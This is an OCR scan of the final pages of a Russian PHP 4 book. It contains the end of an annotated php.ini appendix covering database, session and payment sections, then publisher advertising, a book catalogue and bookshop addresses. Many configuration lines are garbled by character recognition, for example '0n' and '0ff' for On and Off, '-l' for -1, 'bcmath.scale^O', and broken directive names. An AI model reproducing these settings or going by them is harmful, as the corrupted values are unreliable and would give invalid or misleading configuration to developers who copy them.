; При потребности в детальном описании см . examples/README.logging .

;logging.method=db

;logging.directory=/path/to/log/directory

[Java]

1
; "i а та . с , ass . path= . \php Jav a . jar

;java.home=c:\jdk

;Java.library=c:\jdk\jre\bin\hotspot\jvm.dll

;Java.library.path=.\

[SQL]

sql.safe_mode=0ff

[ODBC]

;uodbc.default_db=Not yet implemented

;uodbc.defauit_user=Not yet implemented

;uodbc.default_pw=Not yet implemented

; Разрешает или запрещает устойчивые соединения

uodbc.allow_persistent=0n

; Проверка доступности соединения перед его использованием ,

uodbc.check persistent=On

----------------------- Page 563-----------------------
548 Часть VI. Приложения

; Макс , число устойчивых соединений . -1 означает , что ограничений нет .

uodbc.max persistent=-l

; Установки для LONG-полей .

uodbc.defaultlrl=4096

; Установки для бинарных данных . О означает режим passthru , 1 - режим

; as is , 2 - преобразование в символы ,

uodbc.defaultbinmode=l

; См . документацию по odbc binmode и odbc longreadlen для более

; детального разъяснения смысла директив uodbc.defaultlrl и

; uodbc.defaultbinmode .

[MySQL]

mysql.allow_persistent=0n

mysql.max_persistent=-l

mysql.max_links=-l

; Порт по умолчанию для функции mysql_connect() . Если не задан , функция

; попытается использовать переменную $MYSQL_TCP_PORT или запись mysql-tcp

; в /etc/services , а также заданную во время компиляции РНР константу

; MYSQL_PORT (именно в таком порядке) . К РНР для Win32 применимо только

; последнее .

mysql.default_port=

; Определяет имя сокета для локальных соединений MySQL . Если он не задан ,

; использует встроенное значение по умолчанию ,

mysql.default_socket=

; Хост по умолчанию для mysql_connect( ) (не работает в безопасном
режиме) .

mysql.default_host=

; Пользователь по умолчанию (не работает в безопасном режиме) .

mysql.default user=

----------------------- Page 564-----------------------
Приложение 2. Файл конфигурации PHP php.ini 549

Пароль по умолчанию (не работает в безопасном режиме) .

Замечание: идея хранить пароль в этом файле просто отвратительна . Любой

пользователь , который может запускать РНР , сможет узнать пароль путем

выполнения:

echo cfg_get_var("mysql.default_password" )

Конечно , узнать пароль сможет также и пользователь , который имеет права

на чтение для файла php.ini .

mysql.default_password=

[mSQL]

msql.allow_persistent=0n

msql.max_persistent=-l

msql.max_links=-l

[PostgresSQL]
pgsql.allow_persistent=0n

pgsql.max_persistent=-l

pgsql.max_links=-l

[Sybase]
Sybase.allow_persistent=0n
sybase.max_persistent=-l
Sybase.max_links=-l
;sybase.interface_file="/usr/Sybase/interfaces"

; Максимальный уровень серьезности отображаемых ошибок .

sybase.min_error_severity=10

; Минимальный уровень серьезности отображаемых ошибок .

sybase.min_message_severity=10

; Режим совместимости со старыми версиями РНР 3.0 .

; Если следующая директива установлена в On , PHP будет автоматически

; присваивать тип результату на основе его типа в Sybase , вместо того ,

; чтобы преобразовывать полученные значения в строки . Этот режим

; совместимости , возможно , в будущем не будет поддерживаться , так что

; лучше исправьте свои сценарии , если вам он нужен .

Sybase.compatability_mode=0ff

[Sybase-CT]

sybct.allow_persistent=0n

----------------------- Page 565-----------------------
550 Часть VI. Приложения

sybct.max_persistent=-l

sybct.max_links=-l

sybct.min server severity=10

sybct.min_ciient_severity-10

[bcmathl

; Число десятичных цифр для всех bcmath-функций .

bcmath.scale^O

[browscap]

;browscap=extra/browscap.ini

[Informix]

ifx.default _host=

ifx.default user-

ifx.default_password=

ifx.allow_persistent=On

ifx.max persister.t=-l

ifx.max links=-l

; Если следующая директива установлена в On , выражение select возвращает

; содержимое поля типа text blob вместо его идентификатора .

ifx.textasvarchar=0

; Заставляет команду select возвращать значение поля типа byte ЫоЬ

; вместо его идентификатора .

ifx.byteasvarchar=0

; Принуждает PHP удалять завершающие пробелы из колонок с типом char

; фиксированного размера . Может помочь пользователям Informix SE .

ifx.charasvarchar=0

f
; F,<~:. !и установлена , содержимое полей text и byte сохраняется в файле ,

; вместо того , чтобы храниться в памяти ,

ifx.blobinfile=0

; Если установлена в 0 , значения NULL возвращаются как пустые строки ,

; иначе они возвращаются как строки 'NULL' .

ifx.nullformat=0

----------------------- Page 566-----------------------
Приложение 2. Файл конфигурации PHP php.ini 55)

[Session]

; Определяет режим хранения данных сессий .

session.save _handler=files

; Следующая директива задает аргумент , передаваемый save_handler-y .

; В случае режима сохранения в файлах здесь должен указываться каталог ,

; в который будут помещены файлы сессий .

session.save path=C:\Program Files\PHP4\sessiondata

; Должен ли РНР использовать Cookies ,

session.use_cookies=l

session.name=PHPSESSID

; Инициализировать ли сессии при старте .

session.auto start=0

; Время жизни Cookie для сессии . Если до закрытия браузера , то 0 .

session.cookie lifetime=0

; Путь для Cookie с идентификатором сессии ,

session.cookie_path=/

; Домен для Cookie с идентификатором сессии ,

session.cookie_domain=

; Функция , используемая для сериализации данных . Значение php задает

; стандартную функцию ,

session.serialize_handler=php

; Вероятность того , что при очередном запуске сценария , работающего с

; сессиями , будет вызвана функция "сборки мусора " для очистки сессий ,

; которые пользователь уже покинул ,

session.gc_probability=l

; После указанного здесь промежутка времени сохраненные

; данные будут удалены автоматически сборщиком мусора .

session.gcjnaxlifetime=1440

; Проверять ли HTTP Referer на предмет того , не является ли ID сессии

----------------------- Page 567-----------------------
552 Часть VI. Приложения

; "фальшивым" .

session.referer_check=

; Указывает , сколько байтов читать из файла ,

session.entropy_length=0

;session.entropy_length=16

; Файл , используемый для генерации идентификаторов сессии .

session. entropy__f ile=

;session.entropy file=/dev/urandom

; Установите одно из значений nocache , private , public для определения

; аспектов кэширования HTTP ,

session.cache_limiter=nocache

; Документ будет считаться устаревшим по истечении заданного

; здесь количества минут

session.cache_expire=180

; Использовать ли поддержку "переходящих " SID . Действует , если РНР был

; скомпилирован с включенной опцией —enable-trans-sid .
session.use_trans_sid=l

[MSSQL1

;extension=php_mssql.dll

mssql.allow_persistent=0n

mssql.max persistent=-l

mssql.max__links=-l

mssql.min_error_severity=10

mssql.min_message_severity=10

; Режим совместимости со старыми версиями РНР 3.0 .
mssql.compatability_mode=0ff

[Assertion]

;assert.active=0n

; Генерирует предупреждения РНР для каждых неудавшихся проверок
; выражений .

;assert.warning=0n

----------------------- Page 568-----------------------
Приложение 2. Файл конфигурации PHP php.ini 553

; По умолчанию не завершать программу в случае неудачи .

;assert.bail=0ff

; Пользовательская функция , которая будет вызвана при неудаче проверки .

;assert.callback=0

; Вычислять выражения в eval с использованием текущих установок

; error_reporting . Установите в true , если вы хотите , чтобы действие

; режима error_reporting(0 ) было сохранено и при переходе через

; границу eval() .

;assert.quiet_eval=0

[Ingres II]

Ingres.allow_persistent=0n

Ingres.max_persistent=-l

Ingres.max_links=-l

; База данных по умолчанию (формат : [node_id::]dbname[/srv_class ]

Ingres.default_database=

Ingres.default_user=

Ingres.default_password=

[Verisign Payflow Pro]

pfpro.defaulthost="test.signio.com "

pfpro.defaultport=4 4 3

pfpro.defaulttimeout=30

; IP-адрес proxy-сервера по умолчанию (если требуется) .

; pfpro.proxyaddress=

; Порт proxy-сервера по умолчанию

; pfpro.proxyport=

; Логин для proxy-сервера по умолчанию

; pfpro.proxylogon=

; Пароль для proxy-сервера по умолчанию

; pfpro.proxypassword=

----------------------- Page 569-----------------------
«чтя 117036 г. Москва ,
sou ул . Шверника , д . 4
тел.: (095) 232-0023
w w w . s o f t l i n e . r u e-mail: info@softline.ru

Все для разработк и ПО

Почему опытные разработчики приобретают нужные
для их работы программы в компании SoftLine? Microsoft
Их привлекают низкие цены, тж . компания работает напрямую с вендо- Borland

рами.
Я Их привлекает имеющаяся возможность получения демо-версий и об-
новлений.
В выборе программ им помогают катало г SoftLirie-direct и сайт
www.softline.ru
Большая часть ассортимента SoftLine для разработчиков недоступна в
других компаниях .

Какие этапы разработки охватывает программное COMPAQ.
обеспечение, поставляемое SoftLine?

;i Проектирование программ (Microsoft , CA/Piatinum , Rational , SilverRun ,
Quest).
• Совместная работа (Centura, Merant , Microsoft) .
• Управление проектами (PlanisWare, PlanView , Microsoft) .
Написание кода (среды разработки Allaire , Borland, IBM, Microsoft, ком-
поненты Allround Automation . ComponentOne, Crystal Decisions , Janus ,
Sitraka, Stingray).
S : Оптимизация кода (Compaq, Fuji, Intel, MainSoft , Sun, Sybase , Tenberry).
и Отладка и тестирование (NuMega, Intuitive Systems , Segue).
i Упаковка приложений (InstallShield, Wise Solutions).
I Развертывание и поддержка (Remedy , RoyalBlue , CA , Network
Associates) .
Is Обучение пользователей (Adobe, Allen Communications, dick2learn.com,
sitraka •*"*
eHelp, Macromedia , Quest, Ulead).

SoftLine — это свобода выбора <allaire>

Обратившись в SoftLine , вы в кратчайшие сроки решите проблемы с про-
граммным обеспечением. Получив консультацию менеджеров, часть из ко- NuMEGA
торых знакома с работой разработчиков не понаслышке (на собственном
опыте), вы подберете все необходимое для работы в вашей области — от InstallShield.
интегрированной среды RAD до готовых компонент. При этом мы оста-
S O F I W A B t ШРОШ10 Ч

вим выбор идеологии разработки за вами — например, для регулярного
получения информации о продуктах и технологиях вы сможете подписать-
Component^
ся на Microsoft Developer Network, Sun Developer Essentials или на нашу соб-
ственную рассылку компакт-дисков — SoftLine Support Subscription , предо-
ставляющую обновления и демо-версии всех ведущих производителей. i SYBASE
Компания SoftLine также поможет вам в выборе обучающих курсов.

----------------------- Page 570-----------------------
Книги издательства "БХВ-Петербург"
в продаже:

Серия "В подлиннике"

Андреев А. и др. Новые технологии Windows 2000 592 с.
Андреев А. и др. Microsoft Windows 2000 Server. Русская версия 960 с.
Андреев А. и др. Microsoft Windows 2000 Professional. Русская версия 752 с.
Андреев А. и др. Microsoft Windows 2000 Server и Professional. Русские версии 1056 с.
Бейн С. Adobe Illustrator 7.0 704 с.
Беленький Ю., Власенко С. Word 2000 992 с.
Браун М. HTML 3.2 (с компакт-диском) 1040 с.
Вебер Дж. Технология Java (с компакт-диском) 1104 с.
Гофман В., Хомоненко A. Delphi 5 в подлиннике 800 с.
Долженков В. MS Excel 2000 1088 с.
Закер К. Компьютерные сети. Модернизация и поиск неисправностей 1008 с.
Колесниченко О., Шишигин И. Аппаратные средства PC. 4-е издание 1024 с.
Матросов А. и др. HTML 4.0 672 с.
Мамаев Е. MS SQL Server 2000 1280 с.
Михеева В., Харитонова И. Microsoft Access 2000 1088 с.
Новиков Ф., Яценко A. Microsoft Office 2000 в целом 728 с.
Нортон П. Персональный компьютер: аппаратно-программная 848 с.
организация. Книга 1
Нортон П. Windows 98 592 с.
Ноутон П., ШилдтГ . Java 2 1072с .
О'Доннел Д., Лэдд Э. Microsoft Internet Explorer 4 720 с.
Пилгрим А. Персональный компьютер: модернизация 528 с.
и ремонт. Книга 2
ПитцМ., КиркЧ. XML 736с .
Пономаренко С. Macromedia FreeHand 9 432 с.
Пономаренко С. Macromedia FreeHand 7 320 с.
Пономаренко С. Adobe Illustrator 9.0 608 с.
Пономаренко С. Adobe Illustrator 8.0 576 с.
Пономаренко С. CorelDRAW 9 560 с.
Пономаренко С. Adobe Photoshop 6.0 512 с.
Русеев С. WAP : технология и приложения 432 с.
Секунов Н. Обработка звука на PC (с дискетой) 1248 с.
Тайц А. М., Тайц A. A. CorelDRAW 10: все программы пакета 1136 с.
Тайц А. М., Тайц A. A. CorelDRAW 9: все программы пакета 1136 с.
Тайц A. Adobe InDesign 704 с.
Тайц А. М., Тайц A. A. PageMaker 6.5 832 с.
Тихомиров Ю. Microsoft SQL Server 7.0 720 с.
Уильяме Э. и др. Active Server Pages 672 с.

----------------------- Page 571-----------------------
Ханкт Ш. Эффекты CorelDRAW (с компакт-диском) 704 с.
CD-ROM с примерами к книгам серии "В подлиннике"
Access 2000, Excel 2000, Word 2000, Office 2000 в целом

Серия "Мастер"
Айзеке С. Dynamic HTML (с компакт-диском) 496 с.
Анин Б. Защита компьютерной информации 384 с.
Березин С. Факс-модемы: выбор, подключение, выход в Интернет 256 с.
Березин С. Факсимильная связь в Windows 304 с.
Бухвалов А. и др. Финансовые вычисления для профессионалов 320 с.
Борн Г. Реестр Windows 98 (с дискетой) 496 с.
Габбасов Ю. Internet 2000 448 с.
Гарбар П. Novell GroupWise 5.5: система электронной почты 480 с.
и коллективной работы
Гарнаев A. Visual Basic 6.0: разработка приложений (с дискетой) 448 с.
Гарнаев A. Excel, VBA, Internet в экономике и финансах 816 с.
Гарнаев A. Microsoft Excel 2000: разработка приложений 576 с.
Гордеев О. Программирование звука в Windows (с дискетой) 384 с.
Гофман В., Хомоненко А. Работа с базами данных в Delphi 656 с.
Дарахвелидзе П. и др. Программирование в Delphi 5 (с дискетой) 784 с.
Дронов В. JavaScript в Web-дизайне 880 с.
Дубина А. и др. MS Excel в электронике и электротехнике 304 с.
Дубина А. Машиностроительные расчеты в среде Excel 97/2000 (с дискетой) 416 с
Дунаев С. Технологии Интернет-программирования 480 с.
Зима В. и др. Безопасность глобальных сетевых технологий 320 с.
Киммел П. Borland .C++ 5 876 с.
Кокорева О. Реестр Windows Me 448 с.
Кокорева О. Реестр Windows 2000 352 с.
Краснов М. DirectX. Графика в проектах Delphi (с компакт-диском) 416 с.
Краснов М. Open GL в проектах Delphi (с дискетой) 352 с.
Кулагин Б. 3D Studio Max 3.0: от объекта до анимации (с компакт-диском) 480 с.
Кулагин Б. 3ds max 4: от объекта до анимации 448 с.
Купенштейн В. MS Office и Project в управлении и делопроизводстве 400 с.
Куприянов М. и др. Коммуникационные контроллеры фирмы Motorola 560 с.
Лавров С. Программирование. Математические основы, средства, теория 320 с.
Лукацкий А. Обнаружение атак 624 с.
Матросов A. Maple 6. Решение задач высшей математики и механики 528 с.
Мешков А., Тихомиров Ю. Visual C++ и MFC, 2-е издание (с дискетой) 1040 с.
Миронов Д. Создание Web-страниц в MS Office 2000 320 с.
Мещеряков Е., Хомоненко А. Публикация баз данных в Интернете 560 с.
Михеева В., Харитонова И. Microsoft Access 2000: разработка приложений 832 с.
Мюррей У. Создание переносимых приложений для Windows 816 с.
Новиков Ф. и др. Microsoft Office 2000: разработка приложений 656 с.
Нортон П. Разработка приложений в Access 97(c компакт-диском) 656 с.
Олифер В., Олифер Н. Новые технологии и оборудование IP-сетей 500 с.

----------------------- Page 572-----------------------
Полещук Н. Visual LISP и секреты адаптации AutoCAD 576 с.
Понамарев В. СОМ и ActiveX в Delphi 320 с.
Пономаренко С. InDesign: дизайн и верстка 544 с.
Приписное Д. Моделирование в 3D Studio MAX 3.0 (с компакт-диском) 352 с.
Роббинс Дж. Отладка приложений 512 с.
Рудометов В., Рудометов Е. PC: настройка, оптимизация и разгон, 336 с.
2-е издание
Тайц А. Каталог Photoshop Plug-Ins 464 с.
Тихомиров Ю. MS SQL Server 2000: разработка приложений 368 с.
Тихомиров Ю. Программирование трехмерной графики в Visual C++ 256 с.
(с дискетой)
Трельсен Э. Модель СОМ и библиотека ATL 3.0 (с дискетой) 928 с.
Федорчук А. Офис, графика, Web в Linux 416 с.
Чекмарев A. Windows 2000 Active Directory 400 с.
Чекмарев А. Средства проектирования на Java (с компакт-диском) 400 с.
Шапошников И. Интернет-программирование 224 с.
Шапошников И. Справочник Web-мастера. XML 304 с.
Шапошников И. Web-сайт своими руками 224 с.
Шилдт Г. Теория и практика C++ 416с .
Электронная коммерция. 2В2-программирование 368 с.
Яцюк О., Романычева Э. Компьютерные технологии в дизайне. 450 с.
Эффективная реклама (с компакт-диском)
Ресурсы Microsoft Windows NT Server 4.0 752 с.
Ресурсы BackOffice: Exchange Server и SMS (с компакт-диском) 1008 с.
Ресурсы BackOffice: SQL Server и SNA Server (с компакт-диском) 768 с.
Сетевые средства Microsoft Windows NT Server 4.0 880 с.
Создание intranet. Официальное руководство Microsoft (с компакт-диском) 672 с.
Visual Basic 6.0 992 с.

Серия "Изучаем вместе с BHV"

Гарнаев А. Использование Microsoft Excel и VBA в экономике и финансах 336 с.
Культин Н. Макрокоманды Microsoft Word (с дискетой) 256 с.
Куперштейн В. Современные информационные технологии 256 с.
в делопроизводстве и управлении
Тайц A. Adobe Photoshop 5.0 (с дискетой) 448 с.

Серия "Самоучитель"

Gala2000Group. Самоучитель 3D Studio Max 3.0 (с компакт-диском) 272 с.
Ананьев А., Федоров А. Самоучитель Visual Basic 6.0 624 с.
Бекаревич Ю., Пушкина Н. Самоучитель Microsoft Access 2000 480 с.
Васильев В. Основы работы на ПК 448 с.
Гарнаев А. Самоучитель VBA 512 с.
Долженков В. Самоучитель Excel 2000 (с дискетой) 368 с.
Исагулиев К. Macromedia Flash 5 368 с.
Исагулиев К. Macromedia Dreamweaver 3 432 с.

----------------------- Page 573-----------------------
Кирьянов Д. Самоучитель MathCAD 2001 544 с.
Котеров Д. Самоучитель РНР 4 576 с.
Культин Н. Программирование на Object Pascal в Delphi 5 (с дискетой) 464 с.
Культин Н. Самоучитель. Программирование в Turbo Pascal 7.0 и Delphi, 416с .
2-е издание (с дискетой)
Леоненков А. Самоучитель UML 304 с.
Матросов А., Чаунин М. Самоучитель Perl 432 с.
Омельченко Л., Федоров А. Самоучитель Windows Millennium 464 с.
Омельченко Л., Федоров А. Самоучитель FrontPage 2000 512 с.
Омельченко Л. Самоучитель Visual FoxPro 6.0 512 с.
Омельченко Л., Федоров А. Самоучитель Windows 2000 Professional 528 с.
Пекарев Л. Самоучитель 3D Studio MAX 4.0 304 с.
Секунов Н. Самоучитель Visual C++ 6 (с дискетой) 960 с.
Секунов Н. Самоучитель С# 576 с.
Сироткин С. Самоучитель WML и WMLScript 240 с.
Полещук Н. Самоучитель AutoCAD 2000 и Visual LISP 672 с.
Тайц А. М., Тайц А. А. Самоучитель Adobe Photoshop 6 (с дискетой) 608 с.
Тайц А. М., Тайц А. А. Самоучитель CorelDRAW 10 640 с.
Тихомиров Ю. Самоучитель MFC (с дискетой) 640 с.
Усаров Г. Самоучитель Microsoft Outlook 2000 336 с.
Хабибуллин И. Самоучитель Java 464 с.
Хомоненко А. Самоучитель Microsoft Word 2000 560 с.
Шапошников И. Интернет. Быстрый старт 272 с.
Шилдт Г. Самоучитель C++, 3-е издание (с дискетой) 688 с.

Серия "Компьютер и творчество"
Деревских В. Музыка на PC своими руками 352 с.
Дунаев В. Сам себе Web-мастер 288 с.
Людиновсков С. Музыкальный видеоклип своими руками 320 с.
Петелин Р., Петелин Ю. Музыкальный компьютер. Секреты мастерства 608 с.
Петелин Р., Петелин Ю. Музыка на PC. Cakewalk. "Примочки" и плагины 272 с.
Петелин Р., Петелин Ю. Аранжировка музыки на PC 272 с.
Петелин Р., Петелин Ю. Звуковая студия в PC 256 с.
Петелин Р., Петелин Ю. Персональный оркестр в PC 240 с.
Петелин Р., Петелин Ю. Музыка на PC. Cakewalk Pro Audio 9 512 с.
Пушков А. Домашний кинотеатр на ПК 230 с.
Попов С. Видеосистема PC 400 с.

Внесерийные книги

Мультимедийный учебник на CD-ROM "Изучаем Windows 98"
Андрианов В. Автомобильные охранные системы 272 с.
Байков В. Интернет: поиск информации и продвижение сайтов 288 с.
Бекаревич Ю., Пушкина Н. MS Access 2000 за 30 занятий 512 с.
Бэйверсток Э. Книжный маркетинг 400 с.
Гурова А. Герои меча и магии 320 с.

----------------------- Page 574-----------------------
Дорот В., Новиков Ф. Толковый словарь современной компьютерной 512 с.
лексики, 2-е изд.
Живайкин П. 600 звуковых и музыкальных программ 624 с.
Закарян И., Филатов И. Интернет как инструмент 256 с.
для финансовых инвестиций
Культин Н. C/C++ в задачах и примерах 288 с.
Культин Н. Turbo Pascal в задачах и примерах 256 с.
Мамаев Е. MS SQL Server 7.0: проектирование и реализация баз данных 416 с.
Мамаев Е. Администрирование SQL Server 7.0 496 с.
Мещеряков М. Linux: инсталляция и основы работы (с компакт-диском) 144 с.
Рудометов В., Рудометов Е. PC: настройка, оптимизация и разгон 256 с.
Сафронов И. Бейсик в задачах и примерах 224 с.
Соломенчук В. Интернет: поиск работы, учеба, гранты 288 с.
Солонина А. и др. Цифровые процессоры обработки сигналов 512 с.
фирмы Motorola
Синицын И. Основы Microsoft Outlook 97 432 с.
Угрюмов Е. Цифровая схемотехника 528 с.
Успенский И. Интернет как инструмент маркетинга 256 с.
Шарыгин М. Сканеры и цифровые камеры 384 с.
Шелест В. Программирование 592 с.

Серия "Техника в Вашем доме"

Пешков А. Современные фотоаппараты 224 с.
Левченко В. Спутниковое телевидение 288 с.
Миклашевский Н. Чистая вода. Бытовые фильтры и системы очистки воды 238 с.

----------------------- Page 575-----------------------
Книги издательства "БХВ-Петербург"
можно приобрести:

Москва
1."БиблиоТлобус" ул. Мясницкая, 6 (095) 928 8744
2. "Дом книги" ул. Новый Арбат, 8 (095) 203 8242
3. "Дом технической книги" Ленинский пр., 40 (095) 1376019
4. "Кнорус" ул. Б. Переяславская, 46 (095)2809106
5. "Мидикс" Ленинский пр., 29 (095) 958 0265
6. "Мир" Ленинградский пр., 78 (095) 1528282
/."Молодая Гвардия" ул. Большая Полянка, 28 (095) 238 0032
8."Ридас" Новоданиловская наб., 9 (095) 954 3044
9. ТД "Москва" ул. Тверская, 8 (095) 229 7355

Санкт-Петербург
1. Магазин при издательстве ул. Бобруйская, 4, офис 26 (812)541 8551
"БХВ-Петербург"
2. "Веком" пр. Славы, 15 (812) 1090391
3. "Волшебная формула" В.О., Наличная ул., 41 (812)3500324
4. "Гелиос" пр. Большевиков, 19 (812)5885707
5. "Дом военной книги" Невский пр., 20 (812)3124936
6. "Дом книги" Невский пр., 28 (812)3120184
7. Книжный клуб "Снарк" Загородный пр., 21 (812) 1649366
8. "Книжный мир на Петроградской" П. С., Большой пр., 34 (812) 2309966
9. "Ланк-Маркет «Владимирский»" Владимирский пр., 15 (812)3272060
10. "Ланк-Маркет «Московский»" Бассейная ул., 41 (812)3270400
11. Магазин № 1 СПбГУ В.О., Университетская наб. (812)3289691
(Главное здание университета)
12. "Недра" В.О., Средний пр., 61 (812)321 4315
13. "Подписные издания" Литейный пр., 57 (812)2735053
14. "Прометей" ул. Народная, 16 (812) 4462209
15. "Рена" Лесной пр., 65, корп. 13 (812) 2457039
16. "Родина" Ленинский пр., 127 (812)2542104
17. "Терус" Кондратьевский пр., 33 (812)5400852
18. "Техническая книга" ул. Пушкинская, 2 (812) 1646565
19. ЦФТ "Нарвский" Промышленная ул., 6
Книжная ярмарка
20. "Шанс на Садовой" ул. Садовая, 40 (812)3153117
21. "Энергия" Московский пр., 189 (812)4434534

Города России
1. Архангельск "Техническая книга" ул. Воскресенская, 105 (8582) 46 3028
2. Барнаул "Русское слово" ул. Малахова, 61 (3852) 44 2446
3. Брянск "Мысль" пр. Ленина, 11 (0832) 74 1326

----------------------- Page 576-----------------------
4. Белгород "Школьник" Театральный проезд, 9 (0722) 22 4322
5. Воронеж "Светлана" пр. Революции, 33 (0732) 55 4507
6. Вологда "Дом книги" ул. Мира, 38 (8172)721743
7. Вологда "Источник" ул. Мира, 14 (8172)724238
8. Гатчина "Книги" ул. Советская, 4/9 (271) 11259
9. Екатеринбург "Дом книги" ул. А. Валика, 1 1 (3432) 59 4200
10. Екатеринбург "Книжный магазин № 14" ул. Челюскинцев, 23 (3432) 53 2490
11. Ижевск "Техника" ул. Пушкинская, 242 (3412) 225764
12. Иркутск "Иркутск книга" ул. Лыткина, 75А (3952) 24 5526
24 9620
13. Калининград "ДОК" ул. Барнаульская, 4 (0112) 434522
14. Калуга "Кругозор" ул. Калинина, 1 1 (0842) 57 6060
15. Красноярск "Эрудит" ул. Ленина, 28 (3912) 276250
16. Лениногорск "Книги" ул. Тукая, 25 (85515) 22961
17. Мурманск "Техноцентр" ул. Егорова, 14 (8152)455568
18. Нижний "Дом книги" ул. Советская, 14 (8312) 442273
Новгород
19. Нижний "Знание" пр. Ленина, 3 (8312)426589
Новгород
20. Новгород "Прометей" ул. Б. С.-Петербуржская, 13 (81622)73021
21. Новомосковск "Книги" ул. Комсомольская, 36/14 (08762)61265
22. Новосибирск ТОО "Эмбер" ул. Спартака, 16 (3832) 69 3650
23. Омск "Магазин № 12" пр. Маркса, 89 (3812) 400400
24. Пермь "Знание" ул. Крупской, 42 (3422)481564
25. Петрозаводск "Эхо" пр. Ленина, 24 (8142)773601
26. Псков "Сказ" ул. Пушкина, 1 (8112) 16500 1
27. Ростов-на-Дону "Магазин № 26" ул. Пушкинская, 123/67 (8632) 66 6237
28. Ростов-на-Дону "Магазин № 4" ул. Б. Садовая, 41 (8632) 66 8040
29. Севастополь "Дом книги" ул. Коминтерна, 12 (8652) 27 0956
30.Тверь "Кириллица" ул. Советская, 56 (0822) 33 0568
31. Тюмень "Новинка" ул. Республики, 155 (3452) 22 7226
32. Уфа "Азия" ул. Гоголя, 62 (3472) 22 5662
33. Ярославль "Дом книги" ул. Кирова, 18 (0852) 30 4751

Книга-почтой

Прием заказов:
199397, Санкт-Петербург, а/я 194
тел. (812) 541-85-51, факс (812) 541-84-61
e-mail: trade@bhv.spb.su, root@bhv.spb.su
Internet: http://www.bhv.ru

В заявке разборчиво напишите Ваш полный адрес с индексом, телефон, укажи-
те автора книги, ее полное название и нужное количество экземпляров.

По указанным адресам Вы можете сделать отдельный заказ на книги других изда-
тельств России, выпускающих литературу по вычислительной технике.

----------------------- Page 577-----------------------
ВЕСЬ МИР
«TVw.bAv.ro

компьютерных книг

X ^

Адрес: Россия, 199397, Санкт-Петербург, а/я 194; Web-сайт: www.bhv.ru
Я I I В 1 I I I I I I I I I I I I I I I I I I I I I

Уважаемые господа!

Издательство "БХВ-Петербург" приглашает специалистов в области
компьютерных систем и информационных технологий для сотруд-
ничества в качестве авторов книг по компьютерной тематике.

Если Вы знаете и умеете то, что не знают и не умеют другие,
Если Вам не нравится то, что уже написано,
Если у Вас много идей и творческих планов

Напишите книгу
вместе с "БХВ-Петербург"

Ждем в нашем издательстве как опытных,
так и начинающих авторов,
и надеемся на плодотворную совместную работу.

С предложениями обращайтесь к
главному редактору Екатерине Кондуковой:

тел.: (812) 251 4244, 251 6501
e-mail: kat@bhv.ru
факс: (812) 2511295

----------------------- Page 578-----------------------
Рассматривается технология Web-программиро-
вания с использованием последней версии языка
РНР. Изложение сопровождается простыми при-
мерами на РНР и Си с множеством комментариев
Подробно описана процедура установки и настрой
ки Web-сервера Apache на платформе Windows.
Практические приемы иллюстрируются всевоз-
можными примерами программ и библиотечных
функций, облегчающих труд Web-разработчика.

(Common
ateway Interface)

eb-программ

нфйгуриров сервера Арас
эй разработке

Работа с базами

Книга-почтой ВНУ
Адрес: 199397, Санкт-Петербург, а/я 194
Тел. (812) 541-8551, Факс (812) 541-8461
E-mail: trade@bhv.spb.su, Internet: www.bhv.ru

Язык программирования для создания
эффективных Web-приложений 
